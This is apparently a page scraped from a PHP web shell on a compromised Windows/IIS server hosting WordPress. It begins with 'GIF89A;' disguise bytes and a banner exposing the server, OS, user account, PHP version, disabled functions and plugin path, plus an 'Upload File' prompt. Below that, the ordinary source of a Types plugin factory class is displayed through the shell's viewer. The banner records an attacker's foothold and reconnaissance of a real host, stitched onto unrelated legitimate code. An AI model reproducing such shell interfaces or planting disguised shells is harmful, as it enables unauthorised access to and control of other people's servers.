GIF89A;
Server : Microsoft-IIS/10.0 System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586 User : fatorc ( 0) PHP Version : 5.3.28 Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate Directory : e:/home/fatorc/Web/wp-content/plugins/types/application/models/field/group/ |
Upload File : |
<?php /** * Factory for the Types_Field_Group_Term class. * * @since 1.9 */ class Types_Field_Group_Term_Factory extends Types_Field_Group_Factory { /** * @return Types_Field_Group_Term_Factory */ public static function get_instance() { return parent::get_instance(); } protected function __construct() { parent::__construct(); add_action( 'wpcf_group_updated', array( $this, 'on_group_updated' ), 10, 2 ); } /** * Load a field group instance. * * @param int|string|WP_Post $field_group Post ID of the field group, it's name or a WP_Post object. * * @return null|Types_Field_Group_Term Field group or null if it can't be loaded. */ public static function load( $field_group ) { // we cannot use self::get_instance here, because of low PHP requirements and missing get_called_class function // we have a fallback class for get_called_class but that scans files by debug_backtrace and return 'self' // instead of Types_Field_Group_Term_Factory like the original get_called_class() function does // ends in an error because of parents (abstract) $var = new self(); return Types_Field_Group_Term_Factory::get_instance()->load_field_group( $field_group ); } /** * Create new field group. * * @param string $name Sanitized field group name. Note that the final name may change when new post is inserted. * @param string $title Field group title. * * @return null|Types_Field_Group The new field group or null on error. */ public static function create( $name, $title = '' ) { // we cannot use self::get_instance here, because of low PHP requirements and missing get_called_class function // we have a fallback class for get_called_class but that scans files by debug_backtrace and return 'self' // instead of Types_Field_Group_Term_Factory like the original get_called_class() function does // ends in an error because of parents (abstract) $var = new self(); return Types_Field_Group_Term_Factory::get_instance()->create_field_group( $name, $title ); } public function get_post_type() { return Types_Field_Group_Term::POST_TYPE; } protected function get_field_group_class_name() { return 'Types_Field_Group_Term'; } /** * @var null|Types_Field_Group_Term[][] Cache for the get_groups_by_taxonomies() method. */ private $taxonomy_assignment_cache = null; /** * Clears the cache for taxonomy assignemnts. * It is only used for testing purposes. * * @since 2.2 * @deprecated deprecated since version 2.2 */ public function clear_taxonomy_assignment_cache() { $this->taxonomy_assignment_cache = null; } /** * Produce a list of all taxonomies with groups that belong to them. * * @return Types_Field_Group_Term[][] Associative array where keys are taxonomy slugs and values are arrays of field * groups that are associated with those taxonomies. */ public function get_groups_by_taxonomies() { if( null == $this->taxonomy_assignment_cache ) { $groups = $this->query_groups(); $taxonomies = get_taxonomies(); $this->taxonomy_assignment_cache = array(); foreach( $taxonomies as $taxonomy ) { $taxonomy_slug = $taxonomy; $groups_for_taxonomy = array(); foreach( $groups as $group ) { if( $group instanceof Types_Field_Group_Term && $group->is_active() && $group->has_associated_taxonomy( $taxonomy_slug ) ) { $groups_for_taxonomy[] = $group; } } $this->taxonomy_assignment_cache[ $taxonomy_slug ] = $groups_for_taxonomy; } } return $this->taxonomy_assignment_cache; } /** * Get array of groups that are associated with given taxonomy. * * @param string $taxonomy_slug Slug of the taxonomy * * @return Types_Field_Group_Term[] Associated term field groups. */ public function get_groups_by_taxonomy( $taxonomy_slug ) { $groups_by_taxonomies = $this->get_groups_by_taxonomies(); return wpcf_ensarr( wpcf_getarr( $groups_by_taxonomies, $taxonomy_slug ) ); } /** * This needs to be executed whenever a term group is updated. * * Hooked into the wpcf_group_updated action. * Erases cache for the get_groups_by_taxonomies() method. * * @param int $group_id Ignored * @param Types_Field_Group $group Field group that has been just updated. */ public function on_group_updated( /** @noinspection PhpUnusedParameterInspection */ $group_id, $group ) { if( $group instanceof Types_Field_Group_Term ) { $this->taxonomy_assignment_cache = null; } } }